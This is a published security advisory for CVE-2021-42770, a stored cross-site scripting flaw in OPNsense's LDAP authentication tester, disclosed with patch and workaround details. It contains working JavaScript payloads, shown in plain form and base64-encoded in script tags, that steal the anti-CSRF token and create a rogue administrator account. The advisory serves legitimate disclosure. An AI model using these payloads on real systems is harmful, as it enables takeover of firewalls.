Skip to content

OPNSense - XSS in LDAP attribute return in authentication tester (CVE-2021-42770)

Moderate
orange-cert-cc published GHSA-r32j-xgg3-w2rw Nov 1, 2021

Package

No package listed

Affected versions

19.7
21.7

Patched versions

21.7.4
21.7.4

Description

Overview

A Cross-site scripting (XSS) vulnerability was discovered in OPNSense on the diag_authentication.php web page (thanks to an LDAP directory where the user can control it's fields). This allows arbitrary injection of JavaScript/HTML via $attr_value. This also can lead to Cross-Site Request Forgery (CSRF) and execute actions on the OPNSense.

Impact

The XSS can lead to steal the CSRF Token and execute any arbitrary opnsense's user action, including creation of an new administrator account.

Details

Context : An OPNSense is connected to an LDAP directory. (tested with FreeIPA)
Step 1 : An LDAP user alters its fields in the LDAP directory
Step 2 : An OPNSense administrator uses the authentication tester (System -> Access -> Tester) function. XSS payload is executed by the OPNSense administrator on it's session.
Step 3 : AntiCSRF token is collected to be reused.
Step 4 : AntiCSRF token reinjected in a new request to execute an action on OPNSense with administor privileges.

Samples of possibles actions :

  • New adminstrator user creation
  • Firewall disabling
  • OPNSense shutdown or destruction.

POC CSRF, user creation with admins privilege

We have the control of LDAP user settings of "test_XSS" user.

Since all the LDAP user's fields are vulnerable, we can split our attack in mulitple fields for not overflowing the maximum characters in a single field.

Step 3 : AntiCSRF token is collected to be reused.

The first field "displayname" will be used to retrieve CSRF Token and store it in "token" variable.

Here is the payload :

function reqListener () {}var oReq = new XMLHttpRequest();oReq.onload = reqListener;oReq.open("post", "/firewall_rules.php", false);oReq.setRequestHeader('X-CSRFToken', 'aaaa');oReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');oReq.send('act=toggle&id=1');token=oReq.responseText.match(/[A-Za-z0-9]{32}/);

Nb: Since we are using XMLHttpRequest, cookies are automatically added to the request.

Encode the payload in base64 to avoid char escape problems. So here is the final XSS for this field:
Display Name:<script>eval(atob('ZnVuY3Rpb24gcmVxTGlzdGVuZXIgKCkge312YXIgb1JlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO29SZXEub25sb2FkID0gcmVxTGlzdGVuZXI7b1JlcS5vcGVuKCJwb3N0IiwgIi9maXJld2FsbF9ydWxlcy5waHAiLCBmYWxzZSk7b1JlcS5zZXRSZXF1ZXN0SGVhZGVyKCdYLUNTUkZUb2tlbicsICdhYWFhJyk7b1JlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04Jyk7b1JlcS5zZW5kKCdhY3Q9dG9nZ2xlJmlkPTEnKTt0b2tlbj1vUmVxLnJlc3BvbnNlVGV4dC5tYXRjaCgvW0EtWmEtejAtOV17MzJ9Lyk7Cg=='))</script>

As we request an endpoint with invalid CSRF token, the server will answer with 403 error with a valid CSRF TOKEN in the response text, then we parse the response and store this value in "token". Then, with the next payload attacker can request any endpoint with a valid token.

Step 4 : AntiCSRF token reinjected in a new request to execute an action on OPNSense : Sample new user creation.

Since the next field printed from the web page is "initials" We will insert the next payload in this field in our LDAP user's settings.

Payload to create a user:

function reqListener () {}var oReq = new XMLHttpRequest();oReq.onload = reqListener;oReq.open("post", "/system_usermanager.php?act=new", false);oReq.setRequestHeader('X-CSRFToken', token);oReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');oReq.send('act=new&userid=&priv_delete=&api_delete=&certid=&scope=user&usernamefld=chuck&oldusername=toto&passwordfld1=chuck&passwordfld2=chuck&descr=chuck&email=chuck%40norris.com&comment=&landing_page=&language=Default&shell=&expires=&groups%5B%5D=admins&otp_seed=&authorizedkeys=&ipsecpsk=&save=save');

We just query the user creation endpoint we create the "chuck" user with password "chuck" and add this user to "admins" group.

Final payload
Initials:<script>eval(atob("ZnVuY3Rpb24gcmVxTGlzdGVuZXIgKCkge312YXIgb1JlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO29SZXEub25sb2FkID0gcmVxTGlzdGVuZXI7b1JlcS5vcGVuKCJwb3N0IiwgIi9zeXN0ZW1fdXNlcm1hbmFnZXIucGhwP2FjdD1uZXciLCBmYWxzZSk7b1JlcS5zZXRSZXF1ZXN0SGVhZGVyKCdYLUNTUkZUb2tlbicsIHRva2VuKTtvUmVxLnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTtvUmVxLnNlbmQoJ2FjdD1uZXcmdXNlcmlkPSZwcml2X2RlbGV0ZT0mYXBpX2RlbGV0ZT0mY2VydGlkPSZzY29wZT11c2VyJnVzZXJuYW1lZmxkPWNodWNrJm9sZHVzZXJuYW1lPXRvdG8mcGFzc3dvcmRmbGQxPWNodWNrJnBhc3N3b3JkZmxkMj1jaHVjayZkZXNjcj1jaHVjayZlbWFpbD1jaHVjayU0MG5vcnJpcy5jb20mY29tbWVudD0mbGFuZGluZ19wYWdlPSZsYW5ndWFnZT1EZWZhdWx0JnNoZWxsPSZleHBpcmVzPSZncm91cHMlNUIlNUQ9YWRtaW5zJm90cF9zZWVkPSZhdXRob3JpemVka2V5cz0maXBzZWNwc2s9JnNhdmU9c2F2ZScpOwo="))</script>

Save the user's settings.

Local User list before:

Username 	 Full name 	         Groups 		
root 	         System Administrator 	 admins

Now If an opnsense administrator in System -> Access -> Tester (diag_authentication.php) try to authenticate with the "test_XSS" user, because of the XSS/CSRF, it will automatically add an local opnsense's administrator.

System: Access: Tester

User: test_XSS authenticated successfully.
This user is a member of these groups:

Attributes received from server:
dn => uid=test_xss,cn=users,cn=accounts,dc=infra,dc=local
uid => test_xss
displayname =>
initials => 
gecos => Test test
....

The CSRF is executed in the background and then chuck appears in the local users list.

Username 	 Full name 	         Groups 		
chuck 	         chuck 	                 admins
root 	         System Administrator 	 admins

Then we can log as login:chuck passwd:chuck in opnsense with admins privilege and for example shutdown all the firewall rules.

Patches

OPNSence has published the release 21.7.4 which includes fix for this security issue.

Workarounds

We suggest to: filter input/output for html characters, update the Content-Security-Policy (remove unsafe-inline)

References

https://opnsense.org/opnsense-21-7-4-released/
https://github.com/orangecertcc/security-research/blob/main/CVE-2021-42770/OPNSENSE_XSS.pdf
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42770
https://github.com/opnsense/core/blob/035319f15ea9df3cb3dce22c88aa7b03c0240038/src/www/diag_authentication.php#L84

Credits

Orange CERT-CC
Arthur Naullet Internship at Orange CERT-CC

Timeline

Date reported: October 19, 2021
Date fixed: October 27, 2021

Severity

Moderate

CVE ID

CVE-2021-42770

Weaknesses